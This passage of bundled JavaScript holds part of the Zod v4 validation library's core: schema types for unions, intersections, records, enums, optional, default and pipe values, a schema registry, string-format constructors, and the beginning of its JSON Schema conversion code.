=> o._zod.pattern);\n return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n }\n });\n const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n inst._zod.parse = (payload, ctx) => {\n if (first) return first(payload, ctx);\n let async = false;\n const results = [];\n for (const option of def.options) {\n const result = option._zod.run({\n value: payload.value,\n issues: []\n }, ctx);\n if (result instanceof Promise) {\n results.push(result);\n async = true;\n } else {\n if (result.issues.length === 0) return result;\n results.push(result);\n }\n }\n if (!async) return handleUnionResults(results, payload, inst, ctx);\n return Promise.all(results).then((results) => {\n return handleUnionResults(results, payload, inst, ctx);\n });\n };\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n const left = def.left._zod.run({\n value: input,\n issues: []\n }, ctx);\n const right = def.right._zod.run({\n value: input,\n issues: []\n }, ctx);\n if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n return handleIntersectionResults(payload, left, right);\n });\n return handleIntersectionResults(payload, left, right);\n };\n});\nfunction mergeValues(a, b) {\n if (a === b) return {\n valid: true,\n data: a\n };\n if (a instanceof Date && b instanceof Date && +a === +b) return {\n valid: true,\n data: a\n };\n if (isPlainObject(a) && isPlainObject(b)) {\n const bKeys = Object.keys(b);\n const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = {\n ...a,\n ...b\n };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n };\n newObj[key] = sharedValue.data;\n }\n return {\n valid: true,\n data: newObj\n };\n }\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return {\n valid: false,\n mergeErrorPath: []\n };\n const newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n };\n newArray.push(sharedValue.data);\n }\n return {\n valid: true,\n data: newArray\n };\n }\n return {\n valid: false,\n mergeErrorPath: []\n };\n}\nfunction handleIntersectionResults(result, left, right) {\n const unrecKeys = /* @__PURE__ */ new Map();\n let unrecIssue;\n for (const iss of left.issues) if (iss.code === \"unrecognized_keys\") {\n unrecIssue ?? (unrecIssue = iss);\n for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).l = true;\n }\n } else result.issues.push(iss);\n for (const iss of right.issues) if (iss.code === \"unrecognized_keys\") for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).r = true;\n }\n else result.issues.push(iss);\n const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n if (bothKeys.length && unrecIssue) result.issues.push({\n ...unrecIssue,\n keys: bothKeys\n });\n if (aborted(result)) return result;\n const merged = mergeValues(left.value, right.value);\n if (!merged.valid) throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n result.value = merged.data;\n return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!isPlainObject(input)) {\n payload.issues.push({\n expected: \"record\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n const proms = [];\n const values = def.keyType._zod.values;\n if (values) {\n payload.value = {};\n const recordKeys = /* @__PURE__ */ new Set();\n for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n const keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (keyResult.issues.length) {\n payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const outKey = keyResult.value;\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }\n }\n let unrecognized;\n for (const key in input) if (!recordKeys.has(key)) {\n unrecognized = unrecognized ?? [];\n unrecognized.push(key);\n }\n if (unrecognized && unrecognized.length > 0) payload.issues.push({\n code: \"unrecognized_keys\",\n input,\n inst,\n keys: unrecognized\n });\n } else {\n payload.value = {};\n for (const key of Reflect.ownKeys(input)) {\n if (key === \"__proto__\") continue;\n if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n let keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n const retryResult = def.keyType._zod.run({\n value: Number(key),\n issues: []\n }, ctx);\n if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (retryResult.issues.length === 0) keyResult = retryResult;\n }\n if (keyResult.issues.length) {\n if (def.mode === \"loose\") payload.value[key] = input[key];\n else payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }\n }\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n $ZodType.init(inst, def);\n const values = getEnumValues(def.entries);\n const valuesSet = new Set(values);\n inst._zod.values = valuesSet;\n inst._zod.pattern = new RegExp(`^(${values.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === \"string\" ? escapeRegex(o) : o.toString()).join(\"|\")})$`);\n inst._zod.parse = (payload, _ctx) => {\n const input = payload.value;\n if (valuesSet.has(input)) return payload;\n payload.issues.push({\n code: \"invalid_value\",\n values,\n input,\n inst\n });\n return payload;\n };\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n const _out = def.transform(payload.value, payload);\n if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n if (_out instanceof Promise) throw new $ZodAsyncError();\n payload.value = _out;\n payload.fallback = true;\n return payload;\n };\n});\nfunction handleOptionalResult(result, input) {\n if (input === void 0 && (result.issues.length || result.fallback)) return {\n issues: [],\n value: void 0\n };\n return result;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.optout = \"optional\";\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0;\n });\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (def.innerType._zod.optin === \"optional\") {\n const input = payload.value;\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((r) => handleOptionalResult(r, input));\n return handleOptionalResult(result, input);\n }\n if (payload.value === void 0) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"pattern\", () => def.innerType._zod.pattern);\n inst._zod.parse = (payload, ctx) => {\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.innerType._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n });\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (payload.value === null) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) {\n payload.value = def.defaultValue;\n /**\n * $ZodDefault returns the default value immediately in forward direction.\n * It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe. */\n return payload;\n }\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n return handleDefaultResult(result, def);\n };\n});\nfunction handleDefaultResult(payload, def) {\n if (payload.value === void 0) payload.value = def.defaultValue;\n return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) payload.value = def.defaultValue;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => {\n const v = def.innerType._zod.values;\n return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n return handleNonOptionalResult(result, inst);\n };\n});\nfunction handleNonOptionalResult(payload, inst) {\n if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: payload.value,\n inst\n });\n return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => {\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n });\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n };\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.in._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.in._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.out._zod.optout);\n defineLazy(inst._zod, \"propValues\", () => def.in._zod.propValues);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") {\n const right = def.out._zod.run(payload, ctx);\n if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n return handlePipeResult(right, def.in, ctx);\n }\n const left = def.in._zod.run(payload, ctx);\n if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n return handlePipeResult(left, def.out, ctx);\n };\n});\nfunction handlePipeResult(left, next, ctx) {\n if (left.issues.length) {\n left.aborted = true;\n return left;\n }\n return next._zod.run({\n value: left.value,\n issues: left.issues,\n fallback: left.fallback\n }, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"propValues\", () => def.innerType._zod.propValues);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.innerType?._zod?.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType?._zod?.optout);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then(handleReadonlyResult);\n return handleReadonlyResult(result);\n };\n});\nfunction handleReadonlyResult(payload) {\n payload.value = Object.freeze(payload.value);\n return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n $ZodCheck.init(inst, def);\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _) => {\n return payload;\n };\n inst._zod.check = (payload) => {\n const input = payload.value;\n const r = def.fn(input);\n if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n handleRefineResult(r, payload, input, inst);\n };\n});\nfunction handleRefineResult(result, payload, input, inst) {\n if (!result) {\n const _iss = {\n code: \"custom\",\n input,\n inst,\n path: [...inst._zod.def.path ?? []],\n continue: !inst._zod.def.abort\n };\n if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n payload.issues.push(issue(_iss));\n }\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n constructor() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n }\n add(schema, ..._meta) {\n const meta = _meta[0];\n this._map.set(schema, meta);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n return this;\n }\n clear() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n return this;\n }\n remove(schema) {\n const meta = this._map.get(schema);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n this._map.delete(schema);\n return this;\n }\n get(schema) {\n const p = schema._zod.parent;\n if (p) {\n const pm = { ...this.get(p) ?? {} };\n delete pm.id;\n const f = {\n ...pm,\n ...this._map.get(schema)\n };\n return Object.keys(f).length ? f : void 0;\n }\n return this._map.get(schema);\n }\n has(schema) {\n return this._map.has(schema);\n }\n};\nfunction registry() {\n return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n return new Class({\n type: \"string\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n return new Class({\n type: \"string\",\n format: \"email\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"guid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v4\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v6\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v7\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n return new Class({\n type: \"string\",\n format: \"emoji\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"nanoid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid2\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ulid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"xid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ksuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n return new Class({\n type: \"string\",\n format: \"e164\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n return new Class({\n type: \"string\",\n format: \"jwt\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"datetime\",\n check: \"string_format\",\n offset: false,\n local: false,\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n return new Class({\n type: \"string\",\n format: \"date\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"time\",\n check: \"string_format\",\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n return new Class({\n type: \"string\",\n format: \"duration\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n return new Class({\n type: \"never\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n return new $ZodCheckMaxLength({\n check: \"max_length\",\n ...normalizeParams(params),\n maximum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n return new $ZodCheckMinLength({\n check: \"min_length\",\n ...normalizeParams(params),\n minimum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n return new $ZodCheckLengthEquals({\n check: \"length_equals\",\n ...normalizeParams(params),\n length\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n return new $ZodCheckRegex({\n check: \"string_format\",\n format: \"regex\",\n ...normalizeParams(params),\n pattern\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n return new $ZodCheckLowerCase({\n check: \"string_format\",\n format: \"lowercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n return new $ZodCheckUpperCase({\n check: \"string_format\",\n format: \"uppercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n return new $ZodCheckIncludes({\n check: \"string_format\",\n format: \"includes\",\n ...normalizeParams(params),\n includes\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n return new $ZodCheckStartsWith({\n check: \"string_format\",\n format: \"starts_with\",\n ...normalizeParams(params),\n prefix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n return new $ZodCheckEndsWith({\n check: \"string_format\",\n format: \"ends_with\",\n ...normalizeParams(params),\n suffix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n return new $ZodCheckOverwrite({\n check: \"overwrite\",\n tx\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n return new Class({\n type: \"array\",\n element,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n return new Class({\n type: \"custom\",\n check: \"custom\",\n fn,\n ...normalizeParams(_params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n const ch = /* @__PURE__ */ _check((payload) => {\n payload.addIssue = (issue$2) => {\n if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n else {\n const _issue = issue$2;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = ch);\n _issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n payload.issues.push(issue(_issue));\n }\n };\n return fn(payload.value, payload);\n }, params);\n return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n const ch = new $ZodCheck({\n check: \"custom\",\n ...normalizeParams(params)\n });\n ch._zod.check = fn;\n return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js\nfunction initializeContext(params) {\n let target = params?.target ?? \"draft-2020-12\";\n if (target === \"draft-4\") target = \"draft-04\";\n if (target === \"draft-7\") target = \"draft-07\";\n return {\n processors: params.processors ?? {},\n metadataRegistry: params?.metadata ?? globalRegistry,\n target,\n unrepresentable: params?.unrepresentable ?? \"throw\",\n override: params?.override ?? (() => {}),\n io: params?.io ?? \"output\",\n counter: 0,\n seen: /* @__PURE__ */ new Map(),\n cycles: params?.cycles ?? \"ref\",\n reused: params?.reused ?? \"inline\",\n external: params?.external ?? void 0\n };\n}\nfunction process$1(schema, ctx, _params = {\n path: [],\n schemaPath: []\n}) {\n var _a;\n const def = schema._zod.def;\n const seen = ctx.seen.get(schema);\n if (seen) {\n seen.count++;\n if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n return seen.schema;\n }\n const result = {\n schema: {},\n count: 1,\n cycle: void 0,\n path: _params.path\n };\n ctx.seen.set(schema, result);\n const overrideSchema = schema._zod.toJSONSchema?.();\n if (overrideSchema) result.schema = overrideSchema;\n else {\n const params = {\n ..._params,\n schemaPath: [..._params.schemaPath, schema],\n path: _params.path\n };\n if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n else {\n const _json = result.schema;\n const processor = ctx.processors[def.type];\n if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n processor(schema, ctx, _json, params);\n }\n const parent = schema._zod.parent;\n if (parent) {\n if (!result.ref) result.ref = parent;\n process$1(parent, ctx, params);\n ctx.seen.get(parent).isParent = true;\n }\n }\n const meta = ctx.metadataRegistry.get(schema);\n if (meta) Object.assign(result.schema, meta);\n if (ctx.io === \"input\" && isTransforming(schema)) {\n delete result.schema.examples;\n delete result.schema.default;\n }\n if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n delete result.schema._prefault;\n return ctx.seen.get(schema).schema;\n}\nfunction extractDefs(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const idToSchema = /* @__PURE__ */ new Map();\n for (const entry of ctx.seen.entries()) {\n const id = ctx.metadataRegistry.get(entry[0])?.id;\n if (id) {\n const existing = idToSchema.get(id);\n if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n idToSchema.set(id, entry[0]);\n }\n }\n const makeURI = (entry) => {\n const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n if (ctx.external) {\n const externalId = ctx.external.registry.get(entry[0])?.id;\n const uriGenerator = ctx.external.uri ?? ((id) => id);\n if (externalId) return { ref: uriGenerator(externalId) };\n const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n entry[1].defId = id;\n return {\n defId: id,\n ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${id}`\n };\n }\n if (entry[1] === root) return { ref: \"#\" };\n const defUriPrefix = `#/${defsSegment}/`;\n const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n return {\n defId,\n ref: defUriPrefix + defId\n };\n };\n const extractToDef = (entry) => {\n if (entry[1].schema.$ref) return;\n const seen = entry[1];\n const { ref, defId } = makeURI(entry);\n seen.def = { ...seen.schema };\n if (defId) seen.defId = defId;\n const schema = seen.schema;\n for (const key in schema) delete schema[key];\n schema.$ref = ref;\n };\n if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve 